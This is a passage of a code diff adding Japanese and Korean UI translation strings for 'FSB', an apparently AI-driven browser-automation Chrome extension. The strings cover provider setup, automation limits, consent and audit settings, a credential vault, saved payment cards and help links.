"panel_5ac544cb2f": { + "message": "2Captcha API キー" + }, + "panel_a003f76423": { + "message": "登録先" + }, + "panel_b6ff7ee96e": { + "message": "エージェント CLI" + }, + "panel_a1272b91cf": { + "message": "サインインを確認しています..." + }, + "panel_d696a35bdd": { + "message": "プロフィール" + }, + "panel_3ac8bbca9a": { + "message": "請求" + }, + "panel_cec3a9b89b": { + "message": "データ" + }, + "panel_ccf75fb483": { + "message": "SuperGrok に接続" + }, + "panel_acfc5be785": { + "message": "切断" + }, + "panel_1771a5d0f6": { + "message": "サインインを続ける" + }, + "panel_888a2f4fc6": { + "message": "SuperGrok の使用状況を確認" + }, + "panel_d334745b85": { + "message": "インストールガイド" + }, + "panel_adadface01": { + "message": "未報告" + }, + "panel_5bbbe53187": { + "message": "サインイン" + }, + "panel_774bf7db76": { + "message": "認証状態" + }, + "panel_2e5f79bb94": { + "message": "確認しています..." + }, + "panel_02600e6189": { + "message": "API 接続を確認しています" + }, + "panel_c02977b07e": { + "message": "接続をテスト" + }, + "panel_3907fa7f80": { + "message": "外観" + }, + "panel_efb52e7172": { + "message": "テーマ" + }, + "panel_6725e7bbcd": { + "message": "システム" + }, + "panel_60acc53f13": { + "message": "ダーク" + }, + "panel_dbcd5e7bb7": { + "message": "ライト" + }, + "panel_19766ed6cc": { + "message": "キャンセル" + }, + "panel_1509f561f2": { + "message": "保存" + }, + "panel_35322b5bb5": { + "message": "変更を保存" + }, + "panel_eb1a70e392": { + "message": "破棄" + }, + "panel_49e49bb440": { + "message": "生成" + }, + "panel_0e91610117": { + "message": "更新" + }, + "panel_3664895579": { + "message": "書き出し" + }, + "panel_2cff9baabf": { + "message": "読み込み" + }, + "panel_78b7d0379d": { + "message": "許可" + }, + "panel_05a2d7332e": { + "message": "拒否" + }, + "panel_ca7981b46e": { + "message": "オフ" + }, + "panel_b8c209cdea": { + "message": "確認する" + }, + "panel_0286249762": { + "message": "自動" + }, + "panel_1a3a4b99db": { + "message": "FSB がボットとして検出され、作業を中断したという報告はありません。それでも毎日が順調とは限りません。そうでない日のための機能です。" + }, + "panel_1a187ac034": { + "message": "、残高を追加し、ダッシュボードから API キーをコピーします。reCAPTCHA v2、hCaptcha、Turnstile を解決します。" + }, + "panel_92f1115a37": { + "message": "FSB はこの CLI の既存のローカルサインインを使います。接続テストはツールなしの小さな検証要求を 1 件送ります。" + }, + "panel_cfaa352b86": { + "message": "xAI · ローカルハーネス" + }, + "panel_fd05c3a95a": { + "message": "確認済みの Grok Build 1.0.4 プロファイルが必要です。接続テストはプロンプトを送らずに、インストール、バージョン、分離、ACP、キャッシュ済み OAuth を確認します。" + }, + "panel_ce4f452059": { + "message": "サインイン済みの Grok アカウントを使います。SuperGrok の使用は共有の週間枠から消費され、追加使用が発生する場合があります。" + }, + "panel_ba5c14963d": { + "message": "ブラウザのタスク文と FSB の MCP 結果は推論のため Grok に送られます。FSB はこの非公開プロファイルで二次テレメトリとトレース送信を無効にします。" + }, + "panel_baf4338a6f": { + "message": "Anthropic · ローカルハーネス" + }, + "panel_7b14b6ca11": { + "message": "Claude Code にサインインしたアカウントを使います。FSB に Anthropic の資格情報は不要です。" + }, + "panel_8cceeb4d83": { + "message": "使用量と料金はそのアカウントの Claude プランまたは API 設定に従います。" + }, + "panel_d9daa99f67": { + "message": "Claude Code は FSB が安全に読める認証状態を報告しません。" + }, + "panel_00604d2592": { + "message": "Claude のプランと請求を確認" + }, + "panel_b9f2d95fd0": { + "message": "自動化の動作と性能を調整します" + }, + "panel_d987fa1b93": { + "message": "コントロールパネルの外観" + }, + "panel_1b0daa3cbf": { + "message": "システムの外観に従います。既定: システム。" + }, + "panel_0c2634ded4": { + "message": "実行と上限" + }, + "panel_a429108292": { + "message": "自動化の上限" + }, + "panel_a6db09cd31": { + "message": "タスク実行の境界を制御します" + }, + "panel_7f9bd64777": { + "message": "最大反復回数" + }, + "panel_efb8da8405": { + "message": "暴走する自動化ループを防ぎます" + }, + "panel_217a08135e": { + "message": "DOM 分析" + }, + "panel_f57d34cd62": { + "message": "ページ要素の処理を最適化します" + }, + "panel_f239d1c5e2": { + "message": "要素の上限" + }, + "panel_a0981cec31": { + "message": "範囲と速度のバランス" + }, + "panel_44551744d4": { + "message": "要素キャッシュの大きさ" + }, + "panel_bc63ff6878": { + "message": "50(最小:単純なページ)" + }, + "panel_6e13b13acc": { + "message": "100(軽量:標準的なページ)" + }, + "panel_f5e5f028c7": { + "message": "200(標準:推奨)" + }, + "panel_51a4656787": { + "message": "500(高負荷:複雑な SPA)" + }, + "panel_b497c0b77d": { + "message": "カスタム..." + }, + "panel_3bba622285": { + "message": "繰り返す検索を速くするための要素キャッシュです。大きいほど複雑なページで速く、メモリも増えます。" + }, + "panel_964b6d2feb": { + "message": "エージェントの同時実行" + }, + "panel_93bdf716dc": { + "message": "同時に動かすエージェントの上限" + }, + "panel_05f46c29ed": { + "message": "同時実行の上限" + }, + "panel_599bc7e4ae": { + "message": "推奨値 (8) に戻す" + }, + "panel_26f41aac5c": { + "message": "1 から 64 の間にしてください" + }, + "panel_dd39c865d3": { + "message": "8 件中 0 件が実行中" + }, + "panel_8b2e97f4e5": { + "message": "トリガーの同時実行" + }, + "panel_1844d05c26": { + "message": "同時に監視するトリガーの上限" + }, + "panel_5aa4aff46c": { + "message": "既定値 (8) に戻す" + }, + "panel_4f6e909317": { + "message": "自動化の動作" + }, + "panel_87fb620509": { + "message": "操作変更レポート" + }, + "panel_8807532414": { + "message": "各操作とともに返る差分" + }, + "panel_5d2f08be69": { + "message": "操作変更レポートを返す(推奨)" + }, + "panel_814f4c658e": { + "message": "MCP セッション再生" + }, + "panel_d93120e9c3": { + "message": "MCP エージェント操作のローカルで正確な履歴" + }, + "panel_e3d0d26ac8": { + "message": "再生用に MCP セッションを記録する" + }, + "panel_8c338dcb22": { + "message": "MCP 再生の保持日数" + }, + "panel_a3a33e657a": { + "message": "性能の最適化" + }, + "panel_318ba4fefb": { + "message": "速度と精度を高める機能を有効にします" + }, + "panel_718ec50194": { + "message": "差分比較" + }, + "panel_4df3ccd4f7": { + "message": "最初の走査のあと DOM の変更だけを送ります(コンテキストを 70-90% 削減)" + }, + "panel_386c10cfbb": { + "message": "表示領域の優先" + }, + "panel_55b7c33a00": { + "message": "見える要素に集中し、より速く適切な結果を得ます" + }, + "panel_56cb122532": { + "message": "AI によるサイトマップ改善" + }, + "panel_bbabb56b4f": { + "message": "AI でサイトマップを自動的に整え、移動方針と作業の流れを検出します" + }, + "panel_6a63ec792f": { + "message": "視覚的なフィードバック" + }, + "panel_d9db4fd5a6": { + "message": "自動化中の視覚表示を制御します" + }, + "panel_882726c86c": { + "message": "操作のアニメーション強調" + }, + "panel_525c3926bb": { + "message": "操作中の要素の周りに脈打つ光を表示します" + }, + "panel_b8c545e36f": { + "message": "サイドパネルの手順の進行" + }, + "panel_cd7487b136": { + "message": "自動化中にサイドパネルへ操作手順を表示します" + }, + "panel_915c0ef81c": { + "message": "プライバシーと開発者" + }, + "panel_02d7d5cfae": { + "message": "音声入力" + }, + "panel_936f490e8e": { + "message": "FSB サイドパネルのマイク入力を制御します" + }, + "panel_92f7b96921": { + "message": "マイクによる音声入力を有効にする" + }, + "panel_e007c1f5fd": { + "message": "マイクの許可を確認しています…" + }, + "panel_7df7702416": { + "message": "Chrome が拡張機能全体のマイク許可を管理します。" + }, + "panel_5e09a0b0eb": { + "message": "マイクを有効にする" + }, + "panel_2c0acdeddf": { + "message": "Chrome の設定を開く" + }, + "panel_d7de9cfa12": { + "message": "開発者向けオプション" + }, + "panel_fef2fc10ae": { + "message": "デバッグとトラブルシューティングのツール" + }, + "panel_5f75368293": { + "message": "デバッグモード" + }, + "panel_64b2d259ae": { + "message": "自動化の問題調査のため、詳しいコンソール記録を有効にします" + }, + "panel_38d35a351e": { + "message": "プライバシーとテレメトリ" + }, + "panel_21bf1bebea": { + "message": "匿名の使用状況データ" + }, + "panel_451d787c00": { + "message": "匿名の使用状況データを送る" + }, + "panel_57f9a109d4": { + "message": "使用トークン、MCP クライアント名、実行中のエージェント数。URL、プロンプト、DOM は含みません。" + }, + "panel_9ec9376910": { + "message": "ポリシー全文を読む →" + }, + "panel_04dfac3671": { + "message": "未接続" + }, + "panel_acf2db1614": { + "message": "サーバー同期" + }, + "panel_609bbbdf07": { + "message": "ハッシュ鍵" + }, + "panel_534803768c": { + "message": "ダッシュボードをペアリング" + }, + "panel_9a177de63c": { + "message": "スキャンしてペアリング" + }, + "panel_43e3ece73f": { + "message": "残り" + }, + "panel_5ad3dbd124": { + "message": "了解" + }, + "panel_c9b3c38247": { + "message": "合計" + }, + "panel_a69c4dece1": { + "message": "ストレージ" + }, + "panel_ae65d09655": { + "message": "容量" + }, + "panel_a039dfb962": { + "message": "トークン" + }, + "panel_4bc74b2135": { + "message": "タスク" + }, + "panel_2f36130ebc": { + "message": "統合" + }, + "panel_ddceb7adfd": { + "message": "すべて消去" + }, + "panel_6cc8519b91": { + "message": "開始" + }, + "panel_d3f7409ad7": { + "message": "すべて停止" + }, + "panel_f00611c47f": { + "message": "システムに合わせて自動で推奨されます。範囲は 1 から 64 です。低いほど資源の使い方が安定し、高いほど並列エージェントが増えます。実行中に下げても既存のエージェントは止まりません。上限を超える新しい要求は拒否されます。" + }, + "panel_bfd6b0808c": { + "message": "既定は 8 です。範囲は 1 から 64 です。低いほど資源の使い方が安定し、高いほど並列の監視が増えます。監視中に下げても既存の監視は止まりません。上限を超える新しいトリガーは拒否されます。" + }, + "panel_552aa7152b": { + "message": "各操作が何を変えたかを短い差分で返すため、AI がページを読み直す必要がありません。既定でオンです。" + }, + "panel_bb0522a484": { + "message": "既定は 30 日です。範囲は 1 から 365 日です。期限切れの MCP 再生セッションだけを自動削除し、オートパイロットの履歴はこの設定では削りません。" + }, + "panel_77f6039567": { + "message": "サイドパネルにマイクを表示し、ブラウザの音声認識または OpenAI Whisper を許可します。既定でオンです。" + }, + "panel_509f0b9d50": { + "message": "音声入力を切ると FSB はマイクを使いませんが、Chrome が保存した許可は取り消されません。" + }, + "panel_76e917ee87": { + "message": "リモート操作と結果の保存のため、この拡張機能を FSB ダッシュボードとペアリングします" + }, + "panel_c11de3bb2e": { + "message": "結果の保存とダッシュボード利用のため FSB サーバーに接続します" + }, + "panel_097b5fa7f6": { + "message": "鍵を生成し、ダッシュボードをペアリングしてこのブラウザを FSB サーバーに結びます。" + }, + "panel_75d0625c55": { + "message": "バックグラウンドのエージェントは退場しました" + }, + "panel_d17d0cfd98": { + "message": "FSB は一度きりの正確なブラウザ実行に集中します。予定された繰り返し作業には、そのための道具の方が向いています:" + }, + "panel_5a694f4532": { + "message": "オープンソースのエージェントループには、そして" + }, + "panel_6e34781c2f": { + "message": "管理された長時間の自動化には。働き方に合う方を選んでください。" + }, + "panel_e76c360683": { + "message": "OpenClaw を試す" + }, + "panel_1a58d9154d": { + "message": "Claude Routines を試す" + }, + "panel_582ba53e9e": { + "message": "v0.9.45rc1 で退役 · 2026年4月" + }, + "panel_daa7068396": { + "message": "以前のエージェント" + }, + "panel_3107f72f47": { + "message": "このプロファイルにいたエージェントの名前を、失われないように残しています。定義は chrome.storage.local['bgAgents'] にそのままあります。" + }, + "panel_9f83a0b7bf": { + "message": "過去の自動化セッションから学んだ長期メモリ" + }, + "panel_76a6bcf157": { + "message": "自動分析" + }, + "panel_50d0c5511b": { + "message": "エピソード" + }, + "panel_9c11c99c77": { + "message": "意味" + }, + "panel_2e3e91ffbd": { + "message": "手順" + }, + "panel_ee6cfab445": { + "message": "費用(30日)" + }, + "panel_bc01325482": { + "message": "すべての種類" + }, + "panel_96452046b5": { + "message": "保存されたメモリはまだありません。完了した自動化セッションから自動的に取り出されます。" + }, + "panel_ba7fab765c": { + "message": "偵察" + }, + "panel_cf0e1ec867": { + "message": "サイトを巡回し、操作できる構造、移動、セレクターを地図にします" + }, + "panel_ad2f160b7b": { + "message": "最大の深さ" + }, + "panel_53e4d8efcc": { + "message": "最大ページ数" + }, + "panel_8ccc2c0e78": { + "message": "調査結果" + }, + "panel_452d842e33": { + "message": "サイト偵察データを表示・ダウンロードするか、サイトマップのメモリとして保存します" + }, + "panel_df63a2da5f": { + "message": "調査結果はまだありません。上の偵察でサイトを巡回してください。" + }, + "panel_30c19209ac": { + "message": "統合メモリ" + }, + "panel_ba41142e62": { + "message": "サイトマップ" + }, + "panel_bb501d7877": { + "message": "コミュニティ" + }, + "panel_d4b1ea5708": { + "message": "概要" + }, + "panel_e72d5d8d0b": { + "message": "展開" + }, + "panel_73cde2ba51": { + "message": "通販と買い物" + }, + "panel_8dfdbc2ef4": { + "message": "ソーシャルメディア" + }, + "panel_6c335e2a76": { + "message": "金融と取引" + }, + "panel_822c302ddc": { + "message": "旅行と予約" + }, + "panel_7b1b7b315b": { + "message": "メールのプラットフォーム" + }, + "panel_cbb811ada2": { + "message": "開発プラットフォーム" + }, + "panel_c47f423a0a": { + "message": "キャリアと求人検索" + }, + "panel_08cf7301b0": { + "message": "ゲームのプラットフォーム" + }, + "panel_2d995d5860": { + "message": "生産性ツール" + }, + "panel_95bfe584eb": { + "message": "デザインとホワイトボード" + }, + "panel_d9dae78103": { + "message": "ゲーム" + }, + "panel_d357175cfe": { + "message": "メディア" + }, + "panel_6eb00b4b26": { + "message": "音楽" + }, + "panel_69752f2313": { + "message": "ニュース" + }, + "panel_71bf90935f": { + "message": "参考" + }, + "panel_9b1f5daf0a": { + "message": "スポーツ" + }, + "panel_0a035c2b85": { + "message": "ユーティリティ" + }, + "panel_4b7ef9d8cd": { + "message": "自動化の活動を監視し、問題を調べます" + }, + "panel_65e5078378": { + "message": "ログを消去" + }, + "panel_5ddbf16ab1": { + "message": "ログを書き出す" + }, + "panel_03f1acb9e6": { + "message": "すべてのログ" + }, + "panel_ee585cc4bd": { + "message": "エラーのみ" + }, + "panel_0b3ff2c6ee": { + "message": "警告とエラー" + }, + "panel_2d9e112fc2": { + "message": "情報以上" + }, + "panel_122df75095": { + "message": "FSB コントロールパネルを読み込みました" + }, + "panel_edeead3f19": { + "message": "セッション履歴" + }, + "panel_fba294fa8b": { + "message": "過去の自動化セッションのログを表示し、書き出します" + }, + "panel_7a28e26099": { + "message": "すべてのセッションを消去" + }, + "panel_600cf8138b": { + "message": "記録されたセッションはまだありません。自動化タスクを実行すると、ここにログが表示されます。" + }, + "panel_e38737d4e5": { + "message": "分析デバッグツール" + }, + "panel_c0b1dd0e52": { + "message": "分析データの収集をテストして確認します" + }, + "panel_bc93dddbb3": { + "message": "トークン追跡をテスト" + }, + "panel_4267998cbe": { + "message": "ストレージデータを表示" + }, + "panel_056a9215e5": { + "message": "分析データを消去" + }, + "panel_2ed2274015": { + "message": "データを書き出す" + }, + "panel_a239457076": { + "message": "デバッグ出力:" + }, + "panel_38b6a17864": { + "message": "同意と監査" + }, + "panel_94ef5e0fd6": { + "message": "下の既定値は未設定のすべてのサイトに適用されます。オリジンごとの一覧で個別のサイトを対象外にできます。" + }, + "panel_6e133ee86d": { + "message": "新しいサイトの既定" + }, + "panel_9693a6dbf3": { + "message": "金融と政府のサービスは、この設定に関係なく常にブロックされます。出荷時は自動です。オフにすると厳密なオプトインに戻ります。" + }, + "panel_01914d2038": { + "message": "オリジンごとの同意" + }, + "panel_96db3ff001": { + "message": "ここで上書きしない限り、各サイトは上の既定に従います。サイトをオフにすると FSB はそのサイトで動作しません。" + }, + "panel_48cfb671aa": { + "message": "サイトはまだありません。FSB が動作したサイトがここに表示され、オフにできます。新しいサイトは上の既定に従います。" + }, + "panel_2c64c030d4": { + "message": "機密" + }, + "panel_18f2a0947f": { + "message": "ブロック" + }, + "panel_5f351832fd": { + "message": "変更(書き込み)呼び出しを許可" + }, + "panel_45a8c38cdf": { + "message": "POST/PUT/PATCH/DELETE の互換メタデータです。自動では、FSB はブロックされていないオリジンで読み書きできます。" + }, + "panel_87b1794408": { + "message": "保留中の要求" + }, + "panel_0334c4fb39": { + "message": "保留 0 件" + }, + "panel_10fd874b68": { + "message": "書き込み" + }, + "panel_47751f88ed": { + "message": "監査ログ" + }, + "panel_818cb91030": { + "message": "ログを書き出す" + }, + "panel_533e26bdcc": { + "message": "ログを消去" + }, + "panel_33b93476cf": { + "message": "時刻" + }, + "panel_d3e1c5f8a6": { + "message": "オリジン" + }, + "panel_5faf58a69d": { + "message": "機能" + }, + "panel_52a0f9b65b": { + "message": "メソッド" + }, + "panel_bce87826df": { + "message": "副作用" + }, + "panel_d37e0cd00f": { + "message": "同意" + }, + "panel_4e80abb5b1": { + "message": "結果" + }, + "panel_5934628d0f": { + "message": "法務とサービス方針" + }, + "panel_fea0aab06e": { + "message": "法的な姿勢を読む →" + }, + "panel_4fc14539b2": { + "message": "ブロックされたサービスを見る →" + }, + "panel_efc0b9cac2": { + "message": "プライバシーポリシー →" + }, + "panel_bfe73827c5": { + "message": "自動サインインを有効にする" + }, + "panel_bbf6a83734": { + "message": "資格情報ボールト" + }, + "panel_07dd5f0064": { + "message": "ボールトの状態を確認しています..." + }, + "panel_50b231118c": { + "message": "ボールトをロック" + }, + "panel_ac22d297f8": { + "message": "PIN の長さを選ぶ" + }, + "panel_3e785bbc44": { + "message": "4 桁" + }, + "panel_7856e511a2": { + "message": "6 桁" + }, + "panel_f246c76813": { + "message": "PIN を入力" + }, + "panel_4fa10c7baa": { + "message": "PIN を確認" + }, + "panel_73134c8143": { + "message": "ボールトを設定" + }, + "panel_872ac152d2": { + "message": "解除するには PIN を入力" + }, + "panel_b41986e3f5": { + "message": "ボールトのロックを解除" + }, + "panel_c1dc92c680": { + "message": "新しく追加" + }, + "panel_35d74dfd8d": { + "message": "資格情報を追加" + }, + "panel_85a85dc9a2": { + "message": "ウェブサイト / ドメイン" + }, + "panel_657144f3f7": { + "message": "ユーザー名 / メール" + }, + "panel_e7cf3ef4f1": { + "message": "パスワード" + }, + "panel_6239b93e96": { + "message": "メモ(任意)" + }, + "panel_9caa27b9d0": { + "message": "この資格情報をサブドメインで許可" + }, + "panel_8816182605": { + "message": "例: 次のために保存した資格情報" + }, + "panel_eb1c90412b": { + "message": "でも使えます" + }, + "panel_195ab9772f": { + "message": "保存した支払い方法を有効にする" + }, + "panel_b45d64e4a3": { + "message": "保存した支払い方法" + }, + "panel_a92743920d": { + "message": "支払い方法の状態を確認しています..." + }, + "panel_bbc3d7eb41": { + "message": "支払い方法をロック" + }, + "panel_24e06db48e": { + "message": "パスワードを開く" + }, + "panel_186f818f5f": { + "message": "保存した支払い方法のロックを解除" + }, + "panel_82f87079c6": { + "message": "カードを追加" + }, + "panel_b610b1ecca": { + "message": "支払い方法を追加" + }, + "panel_7cbcb92acd": { + "message": "ニックネーム(任意)" + }, + "panel_85dfa9ba97": { + "message": "カード選択と保存済みカード一覧に表示されます。" + }, + "panel_d6bc26851d": { + "message": "カード名義" + }, + "panel_4566e068a2": { + "message": "カード番号" + }, + "panel_b764cdc0ea": { + "message": "不明" + }, + "panel_25ec19a82f": { + "message": "入力に合わせてカードブランドを自動検出します。" + }, + "panel_43533009b2": { + "message": "有効期限の月" + }, + "panel_310ca503ef": { + "message": "月" + }, + "panel_ca7aaef8c5": { + "message": "有効期限の年" + }, + "panel_8a944d3d0e": { + "message": "請求先の名前" + }, + "panel_1b77352e0b": { + "message": "請求先住所 1 行目" + }, + "panel_ff2bc02380": { + "message": "請求先住所 2 行目(任意)" + }, + "panel_fc33f73246": { + "message": "市区町村" + }, + "panel_9630a4b030": { + "message": "州 / 地域" + }, + "panel_8198b202a8": { + "message": "郵便番号" + }, + "panel_701d021d08": { + "message": "国" + }, + "panel_d00eca1bae": { + "message": "はじめに" + }, + "panel_c772928cb0": { + "message": "FSB でブラウザ自動化の基本を学びます" + }, + "panel_584aa47f13": { + "message": "ウェブサイトを開く" + }, + "panel_b50c780ec8": { + "message": "ガイド付きセットアップ" + }, + "panel_01c470e51f": { + "message": "セットアップをやり直す" + }, + "panel_c205924de0": { + "message": "ドキュメント" + }, + "panel_ed16cec106": { + "message": "リポジトリを見る" + }, + "panel_4c4a152a2b": { + "message": "サポートと FAQ" + }, + "panel_7302582a6f": { + "message": "サポートを開く" + }, + "panel_d4a48a753a": { + "message": "MCP の設定" + }, + "panel_2df575344e": { + "message": "MCP ガイドを見る" + }, + "panel_506ff39462": { + "message": "プライバシーポリシー" + }, + "panel_377733b622": { + "message": "プライバシーポリシーを見る" + }, + "panel_666067dd37": { + "message": "課題" + }, + "panel_cf82dd02e8": { + "message": "課題を見る" + }, + "panel_bc47da663d": { + "message": "ソースコード" + }, + "panel_6209d4d395": { + "message": "GitHub を見る" + }, + "panel_bd4702c187": { + "message": "リリースノート" + }, + "panel_1705ccc5a5": { + "message": "リリースを見る" + }, + "panel_c011d6097b": { + "message": "ライセンス" + }, + "panel_b392d33f2e": { + "message": "ライセンスを見る" + }, + "panel_a4b17bc7db": { + "message": "保存していない変更があります" + }, + "panel_8e0f9288e2": { + "message": "未設定のサイトを FSB がどう扱うかです。自動では、ブロックされていないサイトの認証済み API を FSB が呼び出します(読み書き)。オフでは、先に各サイトを有効にする必要があります。確認するは、承認待ちの要求をキューに入れます。" + }, + "panel_811f8544eb": { + "message": "あなたの判断を待っている要求です。許可すると呼び出し元が再試行できます。FSB は承認なしに動作しません。" + }, + "panel_b04eb08367": { + "message": "保留中の要求はありません。ツールに同意が必要になるとここに表示されます。上の一覧から事前にアクセスを許可することもできます。" + }, + "panel_1fdd802663": { + "message": "機能呼び出しの、秘匿済みで追記のみの記録です。引数、トークン、Cookie、応答本文は保存されません。" + }, + "panel_787513f4fd": { + "message": "監査項目はまだありません。オリジンを許可すると、機能呼び出しがここに記録されます。項目は秘匿され、ローカルにだけ保存されます。" + }, + "panel_323d6ff1f1": { + "message": "FSB の自動化の姿勢、監査の保持、同意モデルは LEGAL.md に記載されています。一部のオリジンはサービスの拒否リストにより自動化からブロックされます。" + }, + "panel_e31b2a3d3f": { + "message": "支援サインイン用の保存済み資格情報と共有ボールトを管理します" + }, + "panel_93f508370d": { + "message": "有効にすると、FSB はログインページを検出し、保存した資格情報で自動サインインを提案します" + }, + "panel_10f7c25d31": { + "message": "保存した資格情報を守る PIN を選んでください。既存の旧資格情報は自動的に移行されます。" + }, + "panel_50c3db852a": { + "message": "ロックを解除すると、パスワードの表示、編集、自動入力、保存ができます。" + }, + "panel_b6680d54b2": { + "message": "このブラウザセッションではボールトのロックが解除されています。保存した資格情報は下にあります。" + }, + "panel_8d5ab0fe44": { + "message": "自動サインインは現在オフです。保存した資格情報はここで管理できますが、有効にするまで FSB は自動では使いませんし保存しません。" + }, + "panel_c533cc0b87": { + "message": "保存した資格情報はまだありません。自動化中にサインインすると自動保存されるか、手動で追加できます。" + }, + "panel_0153e2da59": { + "message": "ウェブサイトのドメインを入力(例: github.com、mail.google.com)" + }, + "panel_83c6ad5aef": { + "message": "支援チェックアウト用の保存済みカードを管理します。支払い方法はパスワードで設定した資格情報ボールトを共有します。" + }, + "panel_ff7378d58d": { + "message": "有効にすると、FSB はチェックアウトページで保存したカードの入力を提案できます。最終的な支払いは自動では送信しません。" + }, + "panel_7d1624ea92": { + "message": "保存した支払い方法を管理する前に、資格情報ボールトのロックを解除してください。" + }, + "panel_ad5f8e8263": { + "message": "支払い方法のロック解除にボールトの PIN を入力" + }, + "panel_2035e1f48d": { + "message": "保存したカードは同じ暗号化ボールトを使いますが、このブラウザセッションでチェックアウトを埋める前に別途ロック解除が必要です。" + }, + "panel_0ec4dc2534": { + "message": "このブラウザセッションでは保存した支払い方法のロックが解除されています。FSB は検出したチェックアウトページで保存カードの入力を提案できますが、最終支払いは自動では送信しません。" + }, + "panel_5d38d8a7cf": { + "message": "保存した支払い方法は現在オフです。保存したカードはここで管理できますが、機能を有効にするまで FSB はチェックアウトで提案しません。" + }, + "panel_2fd67f06e0": { + "message": "保存した支払い方法はまだありません。ここにカードを追加すると、支払いアクセスのロック解除後に FSB がチェックアウトページで提案できます。" + }, + "panel_928895f662": { + "message": "CVV と請求プロファイルのデータはローカルのボールト内に暗号化して保存されます。この機能を使う前に、端末の安全性を確認してください。" + }, + "panel_39d561254a": { + "message": "カードを保存" + }, + "panel_e4d896bcce": { + "message": "ヘルプを見て FSB の機能をさらに知る" + }, + "panel_32623395c6": { + "message": "オンボーディングをやり直して、プロバイダーまたは MCP の設定を変更します" + }, + "panel_db4cec18bf": { + "message": "FSB の完全なドキュメントとセットアップガイド" + }, + "panel_63dfe63d28": { + "message": "FAQ を見て、よくある接続の問題を直します" + }, + "panel_d2286811e6": { + "message": "Claude Code や Cursor などの MCP クライアントを接続し、doctor コマンドで確認します" + }, + "panel_f3cb441c27": { + "message": "FSB がデータ、保存、任意のサーバー同期をどう扱うかを読みます" + }, + "panel_476481e410": { + "message": "不具合の報告、機能の要望、開発の進捗確認ができます" + }, + "panel_89b47ad370": { + "message": "ソースコードを見て FSB の開発に参加します" + }, + "panel_f775bb5cbf": { + "message": "各 FSB リリースの新機能と変更点を見ます" + }, + "panel_8abc0aef4e": { + "message": "FSB は MIT ライセンスのオープンソースです" + }, + "panel_e235f8135c": { + "message": "ほかの FSB ユーザーと一緒に更新をフォローします" + }, + "panel_53e5555e9a": { + "message": "秘密を含む項目と機密入力を秘匿したうえで、再生データをローカルに保存します。通常の入力テキストと操作結果は再生に使えます。MCP クライアントは、秘密を含まない完了、部分、失敗の要約を渡してローカルのタスクメモリを保存できます。別の AI プロバイダー呼び出しは行いません。オフにすると今後の MCP 記録が止まり、開いている記録は保存されます。既存の MCP 再生履歴は最新 50 セッションまで保持し、設定した保持期間を超えるセッションは残しません。オートパイロットの履歴には影響しません。" + }, + "panel_65b7096b6d": { + "message": "このオリジンでは自動化が禁止されています。" + }, + "panel_d50f8b527c": { + "message": "機密オリジンです。機能の呼び出しは自動で実行できます。ネットワークキャプチャによる発見には引き続き確認が必要です。" + }, + "panel_47d2a515ef": { + "message": "読み込み中..." + }, + "panel_90e89ecfe7": { + "message": "次の 500 件を読み込む" + }, + "panel_935f2565d7": { + "message": "イベントの読み込みを再試行" + }, + "panel_4eee87e82f": { + "message": "ボールトサービスに到達できません" + }, + "panel_08bf951eda": { + "message": "ボールトが未設定です。保存した資格情報を守るために作成してください。" + }, + "panel_949bcb5f38": { + "message": "ボールトはロックされています。" + }, + "panel_30cef3bfb8": { + "message": "このセッションではボールトのロックが解除されています。" + }, + "panel_05dc3c4c0a": { + "message": "ボールトの状態確認でエラーが発生しました。" + }, + "panel_890a216b7c": { + "message": "ロック解除中..." + }, + "panel_def70944c9": { + "message": "作成中..." + }, + "panel_93ad91e855": { + "message": "先に資格情報ボールトのロックを解除してください。" + }, + "panel_8221f05f8b": { + "message": "支払い方法はロックされています。" + }, + "panel_0b4ba676b0": { + "message": "このセッションでは支払い方法のロックが解除されています。" + }, + "panel_b82d31b688": { + "message": "支払い状態の確認でエラーが発生しました。" + }, + "panel_b197ab1d9b": { + "message": "先にパスワードでボールトの PIN を設定してください。" + }, + "panel_160419ae70": { + "message": "支払い方法のロックは解除されています。" + }, + "panel_507fc32dc5": { + "message": "エージェントを編集" + }, + "panel_fb25598ed0": { + "message": "新しいエージェントを作成" + }, + "panel_6c02a28421": { + "message": "テスト中..." + }, + "panel_22965568d2": { + "message": "接続済み" + }, + "panel_ee172faa9c": { + "message": "無効な鍵" + }, + "panel_031a8f0f65": { + "message": "失敗" + }, + "panel_424a2551d3": { + "message": "期限切れ" + }, + "panel_c7730178f4": { + "message": "新しいコードを生成" + }, + "panel_ac116124f7": { + "message": "ペアリングコードを生成できませんでした。もう一度試してください。" + }, + "panel_d03fd96d28": { + "message": "読み込み済みのモデルを選ぶ..." + }, + "panel_e189657f5a": { + "message": "一致するモデルがありません" } } diff --git a/extension/_locales/ko/messages.json b/extension/_locales/ko/messages.json index d673eab99..29f266b7e 100644 --- a/extension/_locales/ko/messages.json +++ b/extension/_locales/ko/messages.json @@ -396,5 +396,1259 @@ }, "shell_error_status": { "message": "오류" + }, + "panel_67b6964686": { + "message": "대시보드" + }, + "panel_8ad747d05c": { + "message": "API 구성" + }, + "panel_8d261a372f": { + "message": "동기화" + }, + "panel_703390318b": { + "message": "베타" + }, + "panel_be146b37a0": { + "message": "비밀번호" + }, + "panel_632e1c5839": { + "message": "결제" + }, + "panel_22d4f6088b": { + "message": "고급 설정" + }, + "panel_c3963aedaa": { + "message": "메모리" + }, + "panel_480d3c119a": { + "message": "로그 및 디버그" + }, + "panel_2ccff1d108": { + "message": "도움말 및 문서" + }, + "panel_db17c74beb": { + "message": "AI 사용량, 비용, 자동화 성능을 살펴봅니다" + }, + "panel_cd41bf0d3e": { + "message": "총 토큰" + }, + "panel_dfa5cc738d": { + "message": "총 비용" + }, + "panel_ada27592c9": { + "message": "요청" + }, + "panel_5068c6c343": { + "message": "성공률" + }, + "panel_d909750b1b": { + "message": "자동화" + }, + "panel_cddf50281d": { + "message": "시간에 따른 토큰 사용량" + }, + "panel_615c5daff4": { + "message": "지난 24시간" + }, + "panel_b84372e5cb": { + "message": "지난 7일" + }, + "panel_e9ddf63b38": { + "message": "지난 30일" + }, + "panel_5e4bc34faf": { + "message": "AI 모델 공급자와 API 설정을 구성합니다" + }, + "panel_9b3cf4a154": { + "message": "AI 모델 구성" + }, + "panel_84e1ec2c5b": { + "message": "AI 공급자" + }, + "panel_994f468aae": { + "message": "다른 공급자 선택" + }, + "panel_e65d5614f4": { + "message": "사용자 지정 (OpenAI 호환)" + }, + "panel_e69daa3849": { + "message": "API 공급자는 로컬 키를 사용합니다. 에이전트 CLI는 기존 로컬 로그인을 사용합니다." + }, + "panel_daa5fed227": { + "message": "다른 AI 공급자 선택" + }, + "panel_822a9fabc1": { + "message": "이 공급자는 오토파일럿에서 더 이상 